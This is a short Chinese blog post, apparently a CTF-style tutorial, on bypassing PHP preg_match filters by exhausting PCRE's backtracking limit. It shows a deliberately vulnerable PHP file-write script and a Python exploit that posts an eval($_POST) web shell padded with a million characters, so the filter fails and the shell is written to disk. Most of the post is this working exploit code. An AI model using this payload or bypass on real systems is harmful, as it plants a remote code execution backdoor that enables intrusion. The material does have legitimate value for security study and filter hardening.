• 欢迎光临~

PHP利用PCRE回溯次数限制绕过preg_match

开发技术 开发技术 2022-07-28 次浏览

php使用的PCRE库使用NFA作为正则引擎

 

NFA:从起始状态开始,一个一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

 

<?php 
$data=$_REQUEST['data'];
if(preg_match('/<?.*[(`;?>].*/is', $data)){
die("hacker!!!");
}

file_put_contents('pcreshell.php',$data)
?>

 

py脚本:

import requests
from io import BytesIO

files = {
  'data': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://127.0.0.1/pcre.php', files=files, allow_redirects=False)
print(res.headers)

 

程序员灯塔
转载请注明原文链接:PHP利用PCRE回溯次数限制绕过preg_match
喜欢 (0)